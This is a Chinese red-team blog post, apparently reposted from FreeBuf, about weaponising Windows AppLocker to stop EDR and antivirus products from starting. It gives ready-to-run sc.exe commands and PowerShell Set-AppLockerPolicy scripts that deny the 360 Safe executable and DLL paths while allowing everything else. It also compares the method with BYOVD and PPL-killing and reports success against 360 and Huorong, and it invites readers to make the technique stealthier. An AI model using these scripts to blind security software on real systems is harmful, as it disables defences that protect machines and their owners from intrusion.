0x01 前言：防御者的视角

在 Windows 安全架构中，EDR（端点检测与响应）始终处于一种悖论：它必须拥有最高的权限（PPL/驱动级）来监控系统，但它本身又必须遵循操作系统的底层逻辑约束。AppLocker 武器化攻击正是抓住了这一命门——当系统内核判定一个进程“不被允许存在”时，即便它是安全守护进程，也无法逾越规则。

0x02 深度解析：AppLocker 武器化的底层逻辑

AppLocker 并非简单的黑名单，它是基于内核驱动（AppID.sys）的强制准入机制。

1. 拦截链条

当CreateProcess触发时，内核调用PspInsertProcess之前，会通过回调进入AppID.sys。此时，驱动会根据加载到内存的策略进行匹配：

哈希规则 (Hash)：最慢但最准。

路径规则 (Path)：基于字符串匹配，红队首选，成本最低。

发布者规则 (Publisher)：基于数字签名，最稳定，无视版本更新。

2. 策略构造的体系化实现

一个完美的致盲策略准确无误的匹配到关键进程

利用Action=”Deny”封锁 EDR 所在的C:\Program Files\Vendor\*路径。

必须下发Action=”Allow”且Path=”*”的规则，否则下发后会导致全系统（包括 CMD、LSASS 等）无法运行，直接造成系统崩溃。

0x03 横向对比：其他关闭 EDR 的思路及其难处

为了凸显 AppLocker 的优势，我们必须审视目前红队主流的其他致盲手段：

1. 驱动级对抗 (Bring Your Own Vulnerable Driver, BYOVD)

思路：加载一个带有已知漏洞的合法驱动（如老版本显卡驱动、硬件监控驱动），利用漏洞获取内核写权限，直接抹除 EDR 驱动的NotifyRoutine回调。

难处：主流 EDR 对 LoadDriver 行为极其敏感。

2. PPL 保护绕过 (PPL-Killer)

思路：通过利用 CSRSS 句柄或已知漏洞修改内核中的EPROCESS结构体，降低 EDR 进程的保护级别（Protection Level），随后即可使用taskkill结束进程。

难处：版本碎片化,不同版本的 Windows 内核偏移量不同，代码审计与适配成本极高。  自保护触发,EDR 驱动会严密监控对自身进程对象的 OpenProcess 请求。

0x04 为什么 AppLocker 是优解”？

相比上述方案，AppLocker 展现出了优势：

1. 合规性掩护（Bypassing Behavior Detection）

AppLocker 的配置属于“正常的系统管理行为”。当你下发策略时，EDR 看到的是系统正在更新组策略（gpupdate），这在企业环境中是高频发生的合法行为，极难触发告警。

2. 绕过“进程保护”

EDR 的自保护通常是针对“存量进程”的防护（不让你杀我）。但 AppLocker 的逻辑是“增量拦截”（不让你生）。它在进程还没被分配内存空间时就将其掐断，根本不触发 EDR 的应用层自保护。

3. 持久化优势

驱动抹除或内存 Unhook 在重启后通常失效。而 AppLocker 策略存储在注册表中，具有天生的持久化特性。只要AppIDSvc设置为自启动，EDR 在重启后将陷入“无限期罢工”。

缺点:关闭后软件打开会提示被禁止 在需要隐秘化的红队攻防特别显眼 特别是针对edr的agent而言 一旦流量无法正常流通 可能会向edr报警

0x05 攻击链构建

在恶意开发中，我们可以将此模块化为以下 C 语言伪逻辑：

权限检查：通过GetTokenInformation确认具备SeDebugPrivilege或管理员特权。

服务操纵：利用OpenService和StartService确保AppIDSvc在线。

策略注入：

死循环触发：如果 EDR 有多个守护进程，下发策略后通过诱导用户重启，完成致盲。

0x06 代码演示

需要管理员权限开启

sc.exe config AppID start=system

sc.exe config AppIDSvc start=auto

sc.exe start AppIDSvc

这是用于关闭exe的$PolicyXml = @"<AppLockerPolicyVersion="1">  <RuleCollectionType="Exe"EnforcementMode="Enabled">    <FilePathRuleId="$(New-Guid)"Name="BlockHuorong"Description="Targeted"UserOrGroupSid="S-1-1-0"Action="Deny">      <Conditions>        <FilePathConditionPath="C:\Program Files (x86)\360\360Safe\*.exe" />      </Conditions>    </FilePathRule>    <FilePathRuleId="$(New-Guid)"Name="AllowAll"Description="Fallback"UserOrGroupSid="S-1-1-0"Action="Allow">      <Conditions>        <FilePathConditionPath="*" />      </Conditions>    </FilePathRule>  </RuleCollection></AppLockerPolicy>"@$temp = "$env:temp\p.xml"$PolicyXml | Out-File $temp -Encoding UTF8Set-AppLockerPolicy -XmlPolicy $tempRemove-Item $temp

这是覆盖掉刚才的操作$PolicyXml = @"<AppLockerPolicyVersion="1"><RuleCollectionType="Exe"EnforcementMode="Enabled"><FilePathRuleId="$(New-Guid)"Name="BlockHuorong"Description="Targeted"UserOrGroupSid="S-1-1-0"Action="Deny"><Conditions><FilePathConditionPath="C:\Program Files (x86)\360\360Safe\*.exe" /></Conditions></FilePathRule><FilePathRuleId="$(New-Guid)"Name="AllowAll"Description="Fallback"UserOrGroupSid="S-1-1-0"Action="Allow"><Conditions><FilePathConditionPath="*" /></Conditions></FilePathRule></RuleCollection></AppLockerPolicy>"@$temp = "$env:temp\p.xml"$PolicyXml | Out-File $temp -Encoding UTF8Set-AppLockerPolicy -XmlPolicy $tempRemove-Item $temp

效果如下 可以看到核晶下也没反应

然后就打不开了

不过不知道发什么颠 我打开powershell没干嘛居然拦我 某60的日常操作了

同样的某绒也是可以的 其他我就没试过了

不过缺点也很明显 就是太显眼了

于是我后面看到策略是有关闭dll和其他的

于是我关闭了某60的dll 但似乎是因为dll已经在启动的时候提前加载好了 关闭后无效

如果重启的话某60似乎是有校验文件下的文件的 重新打开会报错

代码如下 有兴趣的师傅可以钻研一下能否绕过

这是用于关闭dll的$PolicyXml = @"<AppLockerPolicyVersion="1">  <RuleCollectionType="Dll"EnforcementMode="Enabled">    <FilePathRuleId="$(New-Guid)"Name="BlockEDRDlls"Description="Targeted DLL Block"UserOrGroupSid="S-1-1-0"Action="Deny">      <Conditions>        <FilePathConditionPath="C:\Program Files (x86)\360\360Safe\*.dll" />      </Conditions>    </FilePathRule>    <FilePathRuleId="$(New-Guid)"Name="AllowAllDlls"Description="Fallback"UserOrGroupSid="S-1-1-0"Action="Allow">      <Conditions>        <FilePathConditionPath="*" />      </Conditions>    </FilePathRule>  </RuleCollection></AppLockerPolicy>"@$temp = "$env:temp\dll_policy.xml"$PolicyXml | Out-File $temp -Encoding UTF8Set-AppLockerPolicy -XmlPolicy $temp -MergeRemove-Item $temp

这里其实可以禁用的蛮多的 想要更加隐蔽也可以实现 各种师傅有兴趣可以研究一下

0x07 缺点

首先就是需要管理员 不过大多数关闭EDR都要管理员 白驱动加载也需要高权限 而且有些还拦截驱动加载

其次就是需要开启服务 不过我开启的时候 某60没拦

有些EDR对powershell执行特别敏感 可以用其他语言写调用ShellExecuteW去执行powershell语句  不过这个api也是敏感函数就是了

最大缺点是策略只对策略生成后的进程生效 也就是如果EDR运行中是没用的 这个也是大问题

文章转至freebuf社区:https://www.freebuf.com/articles/vuls/470836.html